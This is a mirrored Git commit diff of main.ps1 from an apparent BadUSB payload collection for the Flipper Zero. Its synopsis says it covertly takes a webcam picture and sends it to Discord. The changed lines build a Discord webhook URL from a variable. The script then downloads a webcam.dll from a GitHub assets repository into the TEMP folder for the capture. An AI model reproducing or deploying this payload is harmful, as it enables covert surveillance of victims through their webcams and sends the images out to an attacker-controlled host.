mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-05 20:40:14 -08:00
Update main.ps1
This commit is contained in:
@@ -4,9 +4,10 @@ SYNOPSIS
|
||||
download a webcam.dll file, find a webcam cand take a picture then send it to discord.
|
||||
|
||||
#>
|
||||
|
||||
$hookurl = "$dc"
|
||||
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
||||
if ($hookurl.Length -lt 120){
|
||||
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
|
||||
}
|
||||
$dllPath = Join-Path -Path $env:TEMP -ChildPath "webcam.dll"
|
||||
if (-not (Test-Path $dllPath)) {
|
||||
$url = "https://github.com/beigeworm/assets/raw/main/webcam.dll"
|
||||
|
||||
Reference in New Issue
Block a user